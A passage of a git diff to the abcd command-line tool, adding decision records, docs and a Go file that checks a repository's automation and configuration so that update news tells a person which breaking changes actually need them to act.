diff --git a/.abcd/development/brief/04-surfaces/04-launch.md b/.abcd/development/brief/04-surfaces/04-launch.md index 6d052ff5e2..092813f4bb 100644 --- a/.abcd/development/brief/04-surfaces/04-launch.md +++ b/.abcd/development/brief/04-surfaces/04-launch.md @@ -131,7 +131,12 @@ created. abcd declares `internal/core/releasedigest/digest.json`, which its binary embeds, so a binary carries every release from v0.7.0, the first cut derived from records, up to its own, and can say what changed in an update without reading the network or the repository it runs in; a release it does not -carry is named as one it cannot describe (spc-2610170635097509). A repository that declares nothing gets no digest. A refused payload returns every reason as data, and the host +carry is named as one it cannot describe (spc-2610170635097509). In abcd's own +repository a cut whose digest gains a breaking line also adds that line's +action and check to the table in `internal/core/afterupdate/act.go`, keyed by +the record ids it cites as breaking, in the same change: the news shows each +such change with what the person does and whether it applies here, and a test +refuses a digest whose breaking line has no action (iss-2612021704499060). A repository that declares nothing gets no digest. A refused payload returns every reason as data, and the host recomposes until it is valid, reporting each attempt (itd-2609231013154443). **A composed changelog can be practised before it counts** diff --git a/.abcd/development/brief/04-surfaces/21-update.md b/.abcd/development/brief/04-surfaces/21-update.md index 46d838ea12..b8bcaacd9f 100644 --- a/.abcd/development/brief/04-surfaces/21-update.md +++ b/.abcd/development/brief/04-surfaces/21-update.md @@ -92,8 +92,14 @@ to it. (itd-2610161617096084, itd-2610161616086564). Bare, it prints what the agent relays at the start of its first reply: one line per release this computer has not been shown, from the digest of changes the binary carries - (`internal/core/releasedigest`), naming how many changes each made and the - records that need the person to act, a line naming any release the digest + (`internal/core/releasedigest`), naming how many changes each made and how + many need the person here, then, for each change that can need them, one + line written for the person after a check of this machine and the + repository (`internal/core/afterupdate`, iss-2612021704499060): needs you, + naming the file or command, only where the check finds something to do, + already fine here where it finds nothing, nothing to check here where there + is nothing it can read, and could not read where the check could not run + or its shared budget of bytes, entries and time ran out; a line naming any release the digest cannot describe with where its notes are, and, where the update brings this repository setup it never answered, the offer to run setup again. Its full form prints every change, those needing action first, with the record each diff --git a/.abcd/work/decisions/dcn-2612030746575235-abcd-update-news-keeps-each-breaking.md b/.abcd/work/decisions/dcn-2612030746575235-abcd-update-news-keeps-each-breaking.md new file mode 100644 index 0000000000..1e09d3ad72 --- /dev/null +++ b/.abcd/work/decisions/dcn-2612030746575235-abcd-update-news-keeps-each-breaking.md @@ -0,0 +1,6 @@ +--- +id: dcn-2612030746575235 +slug: abcd-update-news-keeps-each-breaking +date: 2026-12-03 +--- +2026-12-03 — abcd update news keeps each breaking change's person-facing action and its check in a table inside internal/core/afterupdate, keyed by the sorted record ids the digest entry cites as breaking, rather than adding fields to the release digest: the digest schema and launch ship stay as they are while a release cut waits on iss-2612021704499060, and a test holds every breaking entry of the embedded digest to an action, so a cut that adds a breaking entry adds its action in the same change. diff --git a/.abcd/work/decisions/dcn-2612030747058988-a-news-item-whose-check-cannot-run-an.md b/.abcd/work/decisions/dcn-2612030747058988-a-news-item-whose-check-cannot-run-an.md new file mode 100644 index 0000000000..ad91d20bc0 --- /dev/null +++ b/.abcd/work/decisions/dcn-2612030747058988-a-news-item-whose-check-cannot-run-an.md @@ -0,0 +1,6 @@ +--- +id: dcn-2612030747058988 +slug: a-news-item-whose-check-cannot-run-an +date: 2026-12-03 +--- +2026-12-03 — A news item whose check cannot run (an unreadable or malformed configuration, no home) says abcd could not read the named places and points at update news --full, and the release line counts it as to check yourself: it is never called fine here and never needs you. A breaking change that asks nothing of any file on a machine or in a repository (the shorter menu, rules that judge the next commit or spec close) carries no check and reads as already fine here with the reason. diff --git a/.abcd/work/decisions/dcn-2612030747059142-the-checks-behind-abcd-update-news-read.md b/.abcd/work/decisions/dcn-2612030747059142-the-checks-behind-abcd-update-news-read.md new file mode 100644 index 0000000000..390b76791f --- /dev/null +++ b/.abcd/work/decisions/dcn-2612030747059142-the-checks-behind-abcd-update-news-read.md @@ -0,0 +1,6 @@ +--- +id: dcn-2612030747059142 +slug: the-checks-behind-abcd-update-news-read +date: 2026-12-03 +--- +2026-12-03 — The checks behind abcd update news read only places abcd itself defines (abcd's home config.json, a repository's .abcd/config.json and record folders, and the automation a repository runs: Makefile, scripts/, .github/workflows/ and .githooks/) and name what they found by abcd's own label for the place, never a file name or line from the repository, so the rule that no word of a repository's tracked files reaches a news line still holds, and each check works in any repository abcd manages. diff --git a/.abcd/work/decisions/dcn-2612030747068482-update-news-full-carries-the-checked-act.md b/.abcd/work/decisions/dcn-2612030747068482-update-news-full-carries-the-checked-act.md new file mode 100644 index 0000000000..3f11996d65 --- /dev/null +++ b/.abcd/work/decisions/dcn-2612030747068482-update-news-full-carries-the-checked-act.md @@ -0,0 +1,6 @@ +--- +id: dcn-2612030747068482 +slug: update-news-full-carries-the-checked-act +date: 2026-12-03 +--- +2026-12-03 — update news --full carries the checked act items as data (FullSummary.act) and leaves its rendering unchanged, so the sibling change to the full rendering (iss-2612021706041724) can show what needs the person from the same items without a second check. diff --git a/.abcd/work/decisions/dcn-2612030815253823-the-update-news-checks-read-a-command.md b/.abcd/work/decisions/dcn-2612030815253823-the-update-news-checks-read-a-command.md new file mode 100644 index 0000000000..be98be5b2c --- /dev/null +++ b/.abcd/work/decisions/dcn-2612030815253823-the-update-news-checks-read-a-command.md @@ -0,0 +1,6 @@ +--- +id: dcn-2612030815253823 +slug: the-update-news-checks-read-a-command +date: 2026-12-03 +--- +2026-12-03 — The update news checks read a command run through a variable as abcd only when the variable's name holds abcd in any case ($ABCD, ${ABCD_BIN}, $(abcd)): a variable of any name would make every Go repository's $(GO) version read as abcd's retired version spelling and its $(GO) test --json as a JSON consumer, the false needs you that iss-2612021704499060 removes. diff --git a/.abcd/work/decisions/dcn-2612030815263376-the-update-news-checks-walk-the.md b/.abcd/work/decisions/dcn-2612030815263376-the-update-news-checks-walk-the.md new file mode 100644 index 0000000000..e25dd4f658 --- /dev/null +++ b/.abcd/work/decisions/dcn-2612030815263376-the-update-news-checks-walk-the.md @@ -0,0 +1,6 @@ +--- +id: dcn-2612030815263376 +slug: the-update-news-checks-walk-the +date: 2026-12-03 +--- +2026-12-03 — The update news checks walk the repository's automation once per run, every matcher applied to each file, under one budget shared by every walk: 32 MiB read, 20000 entries counting folders and links, and three seconds; a spent budget leaves each item not yet found unchecked. A place abcd passes over unread (a linked place, a file over 1 MiB, a folder more than six levels down) and a change with no check read nothing to check here with the reason, a fourth state beside needs you, fine here and unchecked. diff --git a/.abcd/work/issues/open/iss-2612021704499060-abcd-update-news-tells-the-person-that.md b/.abcd/work/issues/resolved/iss-2612021704499060-abcd-update-news-tells-the-person-that.md similarity index 84% rename from .abcd/work/issues/open/iss-2612021704499060-abcd-update-news-tells-the-person-that.md rename to .abcd/work/issues/resolved/iss-2612021704499060-abcd-update-news-tells-the-person-that.md index aef1a62284..ddfc1d88a8 100644 --- a/.abcd/work/issues/open/iss-2612021704499060-abcd-update-news-tells-the-person-that.md +++ b/.abcd/work/issues/resolved/iss-2612021704499060-abcd-update-news-tells-the-person-that.md @@ -10,6 +10,10 @@ origin: researcher-authored production_mode: hand-written found_at: "commands/update.md" remedy: "For each change that needs the person, the news carries a one-line action written for the person and a check abcd runs against the machine and repository; the line says needs you only when the check finds something to do, names the file or command, and otherwise reports it as already fine here." +resolution: "update news checks each needs-you change against this machine and repository and says needs you only where the check finds something to do" +impact: fix +resolved_by: + commit: "995631c381829ff22bfce3a19f221bc6df0d688c" --- abcd update news tells the person that releases carry changes that need them to act, but names only record ids and a pointer to --full, whose entries are whole changelog paragraphs written for agents. The person cannot tell from it what to do, or whether anything applies to their machine at all. On 2 December the two such items for v0.17.0 needed nothing from the person here: the renamed model classes appear in neither configuration file, and the verdict-shape change concerns review files agents write. The news line should say, per item, the one thing the person does, and check this machine and repository first, so an item that does not apply is not presented as needing them. diff --git a/commands/update.md b/commands/update.md index c845fc285a..3968b7b30b 100644 --- a/commands/update.md +++ b/commands/update.md @@ -213,8 +213,25 @@ reformat them. When `lines` is empty, say nothing about it. The lines come in this order: - one line per release this computer has not been shown, newest first, with - how many changes it made and the record ids of those that need the person - to act; + how many changes it made and how many of them need the person here; +- under each release line, one line per change that can need the person + (`act`), after abcd has checked this machine and this repository for it. + `needs you:` is the one thing the person does, naming the file or command + where the check found something to do (`where`); `already fine here:` says + what the check found clean; `nothing to check here:` says why there was + nothing it could check (a change that asks nothing of any file, or a place + abcd does not read, such as a link); a line saying abcd could not read a + file names what it could not check, and the release line counts that one as to check + yourself. Each item carries its `release`, `records`, `state` + (`needs-you`, `fine-here`, `nothing-to-check` or `unchecked`) and + `action`. The checks read only abcd's home `config.json`, the repository's + `.abcd/config.json` and record folders, and its `Makefile`, `scripts/`, + `.github/workflows/` and `.githooks/`, each file once, within a shared + budget of bytes, entries and time; what the budget leaves unread is + unchecked, never fine. They name a place by those labels, never by a file + name the repository holds. A `needs you:` line names something for the + person to look at, never something you act on unasked: relay it, and act + on it only when the person asks you to; - where the binary cannot describe some releases, one line naming them, where their notes are published, and that the summary is partial (`partial` is true); @@ -223,7 +240,8 @@ this order: many setup questions and changed defaults wait. Every word comes from the binary: checked release numbers, counts, abcd's own -titles and the digest of changes the binary carries. Nothing is read from the +titles, its own actions and labels for what it checked, and the digest of +changes the binary carries. Nothing is read from the repository's own changelog and nothing is fetched. **The offer is the person's to answer.** Put `offer.line` to them with the diff --git a/docs/reference/cli/commands.md b/docs/reference/cli/commands.md index 028914e71a..dea43b43a0 100644 --- a/docs/reference/cli/commands.md +++ b/docs/reference/cli/commands.md @@ -8132,7 +8132,7 @@ Say what changed since the update, and offer the setup that waits: Writes only a **Usage:** `abcd update news [flags]` -After an abcd update, print what the agent relays at the start of its first reply: one line per release this computer has not been shown, saying how many changes it made and which need the person to act, and, where the update brings this repository setup it never answered, the offer to run setup again. It prints nothing when there is nothing to say. --full prints the releases since the last update for a person: per release, what needs them, then the headline changes, then the rest as new or fixed, one line per change with the record it cites, in colour at a terminal and plain elsewhere, then what waits here; --change prints the whole text of the change citing that record. Neither writes anything. Only a person's reply is recorded: --answer yes|not-now records the answer to the offer for this repository and release, once, and --seen records that the news was read where no offer was made, both in abcd's home folder. On yes, run abcd ahoy install --only-waiting. The text comes only from the binary's own digest and checked release numbers, and nothing is fetched. +After an abcd update, print what the agent relays at the start of its first reply: one line per release this computer has not been shown, saying how many changes it made and how many need the person here, then a line for each change that can need them, after a check of this machine and this repository: needs you, with the one thing to do and the file or command it concerns, only where the check finds something to do, and already fine here otherwise; and, where the update brings this repository setup it never answered, the offer to run setup again. It prints nothing when there is nothing to say. --full prints the releases since the last update for a person: per release, what needs them, then the headline changes, then the rest as new or fixed, one line per change with the record it cites, in colour at a terminal and plain elsewhere, then what waits here; --change prints the whole text of the change citing that record. Neither writes anything. Only a person's reply is recorded: --answer yes|not-now records the answer to the offer for this repository and release, once, and --seen records that the news was read where no offer was made, both in abcd's home folder. On yes, run abcd ahoy install --only-waiting. The text comes only from the binary's own digest and checked release numbers, and nothing is fetched. **Flags:** diff --git a/internal/core/afterupdate/act.go b/internal/core/afterupdate/act.go new file mode 100644 index 0000000000..c0c97732b3 --- /dev/null +++ b/internal/core/afterupdate/act.go @@ -0,0 +1,816 @@ +package afterupdate + +// act.go is what the news says about each change that can need the person +// (iss-2612021704499060): for every breaking entry of the digest, one line +// written for the person and a check abcd runs against this machine and the +// repository at cwd. The line says needs you only where the check finds +// something to do, and names the file or command; otherwise it says the +// change is already fine here, and what the check found clean. +// +// The checks read only places abcd itself defines (abcd's home configuration, +// a repository's .abcd/config.json and record folders, and the files a +// repository runs as automation: Makefile, scripts/, .github/workflows/ and +// .githooks/), and a line names a place by abcd's own label for it, never by +// a file name or a line the repository holds, so the package's rule that no +// word of the repository's tracked files reaches a line still holds. Every +// check works for any repository abcd manages: none names abcd's own files. + +import ( + "context" + "encoding/json" + "errors" + "io/fs" + "os" + "os/exec" + "path" + "regexp" + "slices" + "strings" + "time" + + "github.com/intentdriven/abcd/internal/abcdhome" + "github.com/intentdriven/abcd/internal/core/ahoy" + "github.com/intentdriven/abcd/internal/core/recordid" + "github.com/intentdriven/abcd/internal/core/releasedigest" + "github.com/intentdriven/abcd/internal/core/rules" + "github.com/intentdriven/abcd/internal/fsutil" +) + +// The states an act item takes: the check found something to do here, found +// nothing to do here, had nothing it could check here (a change that asks +// nothing of any file, or a place abcd passes over unread), or could not be +// run (an unreadable file, or the checks' budget spent). +const ( + ActNeedsYou = "needs-you" + ActFineHere = "fine-here" + ActNothingToCheck = "nothing-to-check" + ActUnchecked = "unchecked" +) + +// ActItem is one change that can need the person, as checked here: the +// release and records it comes from, what the check found, the one thing the +// person does (Action, naming the file or command where the check found +// something), the places it found, and the line the news shows. +type ActItem struct { + Release string `json:"release"` + Records []string `json:"records"` + State string `json:"state"` + Action string `json:"action"` + Where []string `json:"where,omitempty"` + Line string `json:"line"` +} + +// env is what a check runs against: the person's home directory, the +// repository at cwd, which ahoy reads its configuration from as well, and the +// budget every walk of the run shares. +type env struct { + home, repo string + budget *budget +} + +// act is one breaking change's action and check. what names the change; do is +// the action, with %s for the places the check found; clean says what the +// check found when there is nothing to do; reads names what the check reads, +// for the line saying it could not; at, where set, is what the action names +// when the check found nothing (a command), else reads. match is a check of +// the repository's automation, a line it accepts; probe any other check. An +// act with neither asks nothing of any file on a machine or in a repository, +// and clean says why. +type act struct { + what, do, clean string + reads, at []string + match func(string) bool + probe func(env) ([]string, error) +} + +// The seams the tests stand in for: the abcd on PATH, whether abcd installed +// it, and the notes the rules root resolution gives for a checkout. +var ( + lookPath = exec.LookPath + ownedPathCopy = ahoy.IsOwnedPathCopy + rootNotes = func(ctx context.Context, cwd string) ([]string, error) { + r, err := rules.ResolveContext(ctx, cwd) + return r.Notes, err + } +) + +// The caps on what a check reads. One file over maxCheckFileBytes, and a folder +// deeper than maxCheckDepth below its place, is passed over unread. Every walk +// of one run shares the rest: checkBudgetBytes read in all, checkMaxEntries +// entries (folders, files and links alike) and checkDeadline from the first +// read; once one is spent, what is not yet found is unchecked, never fine. +// The tests lower the shared ones. +const ( + maxCheckFileBytes = 1 << 20 + maxCheckDepth = 6 +) + +var ( + checkBudgetBytes int64 = 32 << 20 + checkMaxEntries = 20000 + checkDeadline = 3 * time.Second +) + +// The places a check reads, by abcd's own label for each. +var ( + machineConfig = abcdhome.Display("config.json") + repoConfig = ".abcd/config.json" + // automation is each place a repository runs abcd from, its path and the + // label a line names it by. + automation = []struct{ path, label string }{ + {"Makefile", "Makefile"}, + {"scripts", "scripts/"}, + {".github/workflows", ".github/workflows/"}, + {".githooks", ".githooks/"}, + } + automationNames = "Makefile, scripts/, .github/workflows/ or .githooks/" + automationReads = []string{"Makefile", "scripts/", ".github/workflows/", ".githooks/"} + recordPlaces = []string{recordid.IssuesRelDir, ".abcd/development/intents"} +) + +// abcdCall is the start of a command line that runs abcd: the binary under +// any name that begins with abcd (abcd, abcd.sh, a quoted plugin-root path), +// or a variable whose name holds abcd in any case ($ABCD, ${ABCD_BIN}, +// $(ABCD) in a Makefile), quoted or not ("$ABCD"). A variable of any other name is not read as abcd, +// so a $(GO) version is never taken for abcd's retired spelling. +const abcdCall = `(?:^|[\s/"'(;|&\x60])(?:abcd\S*|\$(?:` + abcdVar + `|\{` + abcdVar + `\}|\(` + abcdVar + `\)))["']?\s+` + +// abcdVar is a variable name holding abcd in any case. +const abcdVar = `\w*(?i:abcd)\w*` + +var ( + reMovingVerb = regexp.MustCompile(abcdCall + `(?:capture\s+(?:resolve|wontfix)|spec\s+close|history\s+discard|embargo\s+triage|ahoy\s+worktree\s+prune)\b`) + reApplyVerb = regexp.MustCompile(abcdCall + `(?:capture\s+migrate|sweep|reserve\b.*--sweep)\b.*--apply\b`) + reRecordReview = regexp.MustCompile(`--record-review\b`) + reIdeateRecord = regexp.MustCompile(abcdCall + `ideate\s+record\b`) + reRecordJSON = regexp.MustCompile(`\brecord\.json\b`) + reDecisionsMD = regexp.MustCompile(`\bDECISIONS\.md\b`) + reDecideBare = regexp.MustCompile(abcdCall + `decide\s+["'$]`) + reOutboundOld = regexp.MustCompile(`--outbound-(?:hook|forge)\b`) + reMergedVerbs = regexp.MustCompile(abcdCall + `(?:source|memory|changelog)\b|/abcd:(?:source|memory|consult|ingest|prepare-this-repo|version)\b`) + reOldHome = regexp.MustCompile(`(?:~|\$HOME|\$\{HOME\})/\.abcd/`) + reStageJSON = regexp.MustCompile(`\.performed\b|\brefusal\.step\b|\blane\.step\b|` + abcdCall + `implement\s+(?:step|receipt|check)\b.*--json`) + reOldSpellings = regexp.MustCompile(abcdCall + `(?:ahoy\s+(?:dry-run|identity-check)|version\b|docs\s+lint|site\s+check)`) + reOldIntentNew = regexp.MustCompile(abcdCall + `intent\s+new\b`) + reAbcdJSON = regexp.MustCompile(abcdCall + `.*--json\b`) + reReadingIngest = regexp.MustCompile(abcdCall + `reading\s+ingest\b`) + rePromoted = regexp.MustCompile(`(?m)^promoted_(?:to|from):`) +) + +// acts is every breaking entry's action, keyed by the sorted record ids the +// entry cites as breaking (entryKey). TestEveryBreakingChangeInTheDigestHasAnAction +// holds the digest to it: a release cut that adds a breaking entry adds its +// action here in the same change. +var acts = map[string]act{ + // v0.18.0 + "iss-2611291649315321": { + what: "dry runs first for the verbs that move, rewrite or delete", + do: "make each script in %s that runs capture resolve, capture wontfix, spec close, history discard, embargo triage or ahoy worktree prune run the same command with --dry-run first, and capture migrate, sweep or reserve --sweep without --apply first", + clean: "no " + automationNames + " file here runs one of them", + reads: automationReads, + match: func(l string) bool { + return (reMovingVerb.MatchString(l) && !strings.Contains(l, "--dry-run")) || reApplyVerb.MatchString(l) + }, + }, + // v0.17.0 + "itd-2611101419006280": { + what: "the renamed model classes", + do: "write the new class names in %s: middle is now top, below is default and smallest is small, and a class map that sets top sets research too", + clean: "neither " + machineConfig + " nor " + repoConfig + " names an old class", + reads: []string{machineConfig, repoConfig}, + probe: oldModelClasses, + }, + "iss-2611060104145956": { + what: "the full head in a review's verdict", + do: "have %s write each review's verdict as the line under ### Verdict that opens with the verdict word and names the full head", + clean: "agents write the review files, and no " + automationNames + " file here records one with --record-review", + reads: automationReads, + match: reRecordReview.MatchString, + }, + // v0.16.0 + "iss-2610141647304982,iss-2610141647307807,iss-2610141647313018,itd-2610141646454347": { + what: "version-2 ideate verdicts", + do: "move %s to the version-2 verdict shape the ideate command page shows", + clean: "no " + automationNames + " file here runs abcd ideate record", + reads: automationReads, + match: reIdeateRecord.MatchString, + }, + "iss-2610141647308358,iss-2610141647315880,iss-2610262154123870": { + what: "reframed and split ideate verdicts", + do: "have %s say so in a reframed or split ideate verdict, as the ideate command page shows", + clean: "no " + automationNames + " file here runs abcd ideate record", + reads: automationReads, + match: reIdeateRecord.MatchString, + }, + "iss-2610291028185585": { + what: "no person's name on the sites abcd builds", + do: "stop reading author names or profile links from record.json in %s", + clean: "no " + automationNames + " file here reads record.json", + reads: automationReads, + match: reRecordJSON.MatchString, + }, + // v0.15.0 + "iss-2609100507439414,itd-2609151138388536": { + what: "one file per decision", + do: "point %s at each decision's own file under .abcd/work/decisions/ instead of DECISIONS.md", + clean: "no " + automationNames + " file here reads DECISIONS.md", + reads: automationReads, + match: reDecisionsMD.MatchString, + }, + "itd-2609151138388536": { + what: "decide --adr for an ADR", + do: "add --adr where %s runs abcd decide to mint an ADR", + clean: "no " + automationNames + " file here runs abcd decide", + reads: automationReads, + match: func(l string) bool { return reDecideBare.MatchString(l) && !strings.Contains(l, "--adr") }, + }, + "iss-2610152024327989": { + what: "the one --outbound flag", + do: "pass --outbound in place of --outbound-hook and --outbound-forge in %s", + clean: "no " + automationNames + " file here passes --outbound-hook or --outbound-forge", + reads: automationReads, + match: reOutboundOld.MatchString, + }, + // v0.14.0 + "itd-2610090831227812": { + what: "the shorter /abcd: menu", + do: "ask the agent for a command the menu no longer lists", + clean: "the commands only agents run left the menu, and the agent still runs them when asked", + }, + "iss-2610090831317531": { + what: "the merged and retired commands", + do: "call the new names in %s: abcd library for source and memory, abcd launch --dry-run for changelog, /abcd:ahoy install for /abcd:prepare-this-repo and abcd --version for /abcd:version", + clean: "no " + automationNames + " file here calls a merged or retired command", + reads: automationReads, + match: reMergedVerbs.MatchString, + }, + // v0.13.0 + "itd-2610030720038073": { + what: "abcd's home folder, now " + abcdhome.Display(), + do: "change the old home folder's path to " + abcdhome.Display() + "/ in %s", + clean: "this computer's abcd home is already " + abcdhome.Display() + " and no " + automationNames + " file here names the old one", + reads: automationReads, + match: reOldHome.MatchString, + }, + "itd-2610030814013772": { + what: "AGENTS.md as the one conventions file", + do: "run %s, since " + repoConfig + " saves a docs target abcd no longer writes (or --docs-target skip for no block)", + clean: repoConfig + " saves no claude_md or both docs target", + reads: []string{repoConfig}, + at: []string{docsTargetCommand}, + probe: oldDocsTarget, + }, + "iss-2610020723185314": { + what: "runner routes only from your own configuration", + do: "if you set a roles..runner in %s yourself and still want that route, move it into your machine's " + machineConfig + "; a route that came with a repository you did not write stays where it is, and abcd ignores it", + clean: repoConfig + " routes no role to a runner", + reads: []string{repoConfig}, + probe: repoRunnerRoutes, + }, + // v0.12.0 + "iss-2609291313276243,iss-2609292359485570": { + what: "stage, not step, in the build loop's JSON", + do: "read stage where %s reads step from the build loop's JSON, and performed_stage for performed", + clean: "no " + automationNames + " file here reads the build loop's JSON", + reads: automationReads, + match: reStageJSON.MatchString, + }, + "iss-2609251324599468": { + what: "the retired command spellings", + do: "use the new spellings in %s: abcd ahoy --dry-run, abcd ahoy --identity, abcd --version, abcd update --check, abcd lint docs and abcd lint site", + clean: "no " + automationNames + " file here calls an old spelling", + reads: automationReads, + match: reOldSpellings.MatchString, + }, + // v0.11.0 + "itd-2609212130136102": { + what: "one check, and modes as flags", + do: "use the new spellings in %s: abcd lint docs, abcd lint site, abcd ahoy --dry-run, abcd ahoy --identity, abcd --version, abcd update --check and abcd intent \"\"", + clean: "no " + automationNames + " file here calls an old spelling", + reads: automationReads, + match: func(l string) bool { return reOldSpellings.MatchString(l) || reOldIntentNew.MatchString(l) }, + }, + // v0.10.0 + "iss-2609091642508005,itd-2609111003026787": { + what: "a Delivers: trailer ships its intent", + do: "close the intent's spec in the change that carries its Delivers: trailer", + clean: "the rule judges the next change that carries the trailer", + }, + "iss-2609231553391212,itd-4": { + what: "the two-sided promote join", + do: "run %s once here, after the same command without --apply", + clean: "no record here still carries promoted_to or promoted_from", + reads: recordPlaces, + at: []string{migrateCommand}, + probe: promotedRecords, + }, + // v0.9.0 + "iss-2609100508566552": { + what: "an intent ships when its last spec closes", + do: "close the last open spec to ship an intent", + clean: "the rule judges the next spec close", + }, + "iss-2609100519128005": { + what: "a refusal in --json mode on standard output", + do: "make %s read every JSON document abcd prints, the refusal last, rather than exactly one", + clean: "no " + automationNames + " file here reads abcd's --json output", + reads: automationReads, + match: reAbcdJSON.MatchString, + }, + // v0.8.0 + "iss-2609012039107700": { + what: "a hook runs an abcd from PATH only when you own it", + do: "run %s again, which records the abcd on your PATH as yours in " + abcdhome.Display("path-entry"), + clean: "the abcd on your PATH is recorded as yours, or there is none", + reads: []string{abcdhome.Display("path-entry")}, + at: []string{installOneLiner}, + probe: unownedPathCopy, + }, + "iss-2609020259564193": { + what: "a checkout owned by another account", + do: "declare this checkout in %s if you trust it, since abcd reads none of its configuration until then", + clean: "abcd reads this checkout's configuration", + reads: []string{abcdhome.Display("trusted-roots")}, + probe: refusedRoot, + }, + "iss-126": { + what: "abcd spec close states the shipping judgement", + do: "pass --impact to abcd spec close where the intent declares none", + clean: "the rule judges the next spec close", + }, + // v0.7.0 + "iss-2608311725218136": { + what: "abcd reading ingest takes --reading-json", + do: "pass --reading-json with the path to one reading's output where %s runs abcd reading ingest", + clean: "no " + automationNames + " file here runs abcd reading ingest", + reads: automationReads, + match: reReadingIngest.MatchString, + }, +} + +// entryKey is the key acts holds an entry's action under: the record ids it +// cites as breaking, sorted and joined with commas. +func entryKey(e releasedigest.Entry) string { + var ids []string + for _, r := range e.Records { + if r.Impact == releasedigest.ImpactBreaking { + ids = append(ids, r.ID) + } + } + slices.Sort(ids) + return strings.Join(ids, ",") +} + +// actItems checks each change in sum that can need the person, release by +// release in the summary's order, once per entry key within a release. The +// repository's automation is walked once for every act that reads it, each +// file read once with every matcher applied, under one budget. +func actItems(cwd string, sum releasedigest.Summary) []ActItem { + e := env{repo: cwd, budget: newBudget()} + e.home, _ = homeDir() + type due struct { + tag string + ids []string + key string + } + var dues []due + matchers := map[string]func(string) bool{} + for _, r := range sum.Releases { + seen := map[string]bool{} + for _, en := range r.Entries { + if !en.NeedsAction() { + continue + } + key := entryKey(en) + if seen[key] { + continue + } + seen[key] = true + dues = append(dues, due{r.Tag, strings.Split(key, ","), key}) + if a, ok := acts[key]; ok && a.match != nil { + matchers[key] = a.match + } + } + } + var auto automationResult + if len(matchers) > 0 { + auto = scanAutomation(e, matchers) + } + out := []ActItem{} + for _, d := range dues { + a, ok := acts[d.key] + if !ok { + out = append(out, ActItem{Release: d.tag, Records: d.ids, State: ActUnchecked, + Line: " - abcd has no check for this change, so read it with " + FullCommand + " (" + strings.Join(d.ids, ", ") + ")"}) + continue + } + var f found + switch { + case a.match != nil: + f = found{where: auto.hits[d.key], passed: auto.passed, err: auto.err} + case a.probe != nil: + if e.home == "" || e.repo == "" { + f.err = errors.New("no home or repository to check") + } else { + f.where, f.err = a.probe(e) + } + default: + f.nothing = true + } + out = append(out, a.item(d.tag, d.ids, f)) + } + return out +} + +// found is what one act's check found: the places with something to do, the +// places it passed over unread, an error that stopped it, or that the act +// has nothing to check. +type found struct { + where, passed []string + err error + nothing bool +} + +// item words what the act's check found. A place found stands even when the +// check was cut short; otherwise an error makes the item unchecked, a place +// passed over makes it nothing to check here, and only a whole clean read is +// fine here. +func (a act) item(tag string, ids []string, f found) ActItem { + it := ActItem{Release: tag, Records: ids} + cite := " (" + strings.Join(ids, ", ") + ")" + at := a.at + if at == nil { + at = a.reads + } + switch { + case len(f.where) > 0: + it.State, it.Where = ActNeedsYou, f.where + it.Action = action(a.do, f.where) + it.Line = " - needs you: " + it.Action + cite + case f.err != nil: + it.State = ActUnchecked + it.Action = action(a.do, at) + it.Line = " - abcd could not read " + joinAnd(a.reads) + " to check " + a.what + ", so read it with " + FullCommand + cite + case f.nothing: + it.State = ActNothingToCheck + it.Action = action(a.do, at) + it.Line = " - nothing to check here: " + a.what + ": " + a.clean + cite + case len(f.passed) > 0: + it.State = ActNothingToCheck + it.Action = action(a.do, at) + it.Line = " - nothing to check here: " + a.what + ": abcd does not read " + joinAnd(f.passed) + + " (a link, a file over 1 MiB or a folder more than six levels down), so read it with " + FullCommand + cite + default: + it.State = ActFineHere + it.Action = action(a.do, at) + it.Line = " - already fine here: " + a.what + ": " + a.clean + cite + } + return it +} + +// action is do with the places put in. +func action(do string, places []string) string { + if !strings.Contains(do, "%s") { + return do + } + return strings.Replace(do, "%s", joinAnd(places), 1) +} + +// joinAnd joins places as a list read aloud: a, b and c. +func joinAnd(places []string) string { + switch len(places) { + case 0: + return "" + case 1: + return places[0] + } + return strings.Join(places[:len(places)-1], ", ") + " and " + places[len(places)-1] +} + +// errBudgetSpent is a walk's stop once the run's shared budget is spent. +var errBudgetSpent = errors.New("the checks' budget of bytes, entries or time is spent") + +// budget is what every walk of one run shares: the bytes still to read, the +// entries still to visit, and the moment the checks stop. +type budget struct { + bytes int64 + entries int + deadline time.Time +} + +func newBudget() *budget { + return &budget{bytes: checkBudgetBytes, entries: checkMaxEntries, deadline: time.Now().Add(checkDeadline)} +} + +// visit takes one entry from the budget, or reports it spent. +func (b *budget) visit() error { + if b.entries <= 0 || !time.Now().Before(b.deadline) { + return errBudgetSpent + } + b.entries-- + return nil +} + +// automationResult is the one walk of the automation: for each act key the +// labels of the places holding a line its matcher accepts, the places passed +// over unread, and the error that cut the walk short, if any. +type automationResult struct { + hits map[string][]string + passed []string + err error +} + +// scanAutomation walks each automation place once, applying every matcher +// to each line of each file it reads. +func scanAutomation(e env, matchers map[string]func(string) bool) automationResult { + res := automationResult{hits: map[string][]string{}} + root, err := os.OpenRoot(e.repo) + if err != nil { + res.err = err + return res + } + defer root.Close() + for _, p := range automation { + hit := map[string]bool{} + passed, err := walkPlace(root, e.budget, p.path, func(data []byte) bool { + for _, l := range strings.Split(string(data), "\n") { + for key, m := range matchers { + if !hit[key] && m(l) { + hit[key] = true + } + } + if len(hit) == len(matchers) { + return true + } + } + return false + }) + for key := range matchers { + if hit[key] { + res.hits[key] = append(res.hits[key], p.label) + } + } + if passed { + res.passed = append(res.passed, p.label) + } + if err != nil { + res.err = err + return res + } + } + return res +} + +// walkPlace hands each regular file at rel, or below the folder at rel, to +// read until read reports it has all it needs. It reports passed where it +// left something unread: rel itself a link, a file over maxCheckFileBytes, a +// folder deeper than maxCheckDepth. Links and other entries inside a folder +// are never followed, though each counts against the budget; an absent place +// holds nothing; a spent budget is errBudgetSpent. +func walkPlace(root *os.Root, b *budget, rel string, read func([]byte) bool) (passed bool, err error) { + fi, err := root.Lstat(rel) + if errors.Is(err, fs.ErrNotExist) { + return false, nil + } + if err != nil { + return false, err + } + readFile := func(p string) (bool, error) { + if b.bytes <= 0 { + return false, errBudgetSpent + } + data, err := fsutil.ReadGuardedInRoot(root, p, min(maxCheckFileBytes, b.bytes)) + if errors.Is(err, fsutil.ErrTooBig) { + if b.bytes < maxCheckFileBytes { + return false, errBudgetSpent + } + passed = true + return false, nil + } + if err != nil { + return false, err + } + b.bytes -= int64(len(data)) + return read(data), nil + } + if err := b.visit(); err != nil { + return false, err + } + switch { + case fi.Mode().IsRegular(): + _, err := readFile(rel) + return passed, err + case !fi.IsDir(): + return true, nil + } + err = fs.WalkDir(root.FS(), rel, func(p string, d 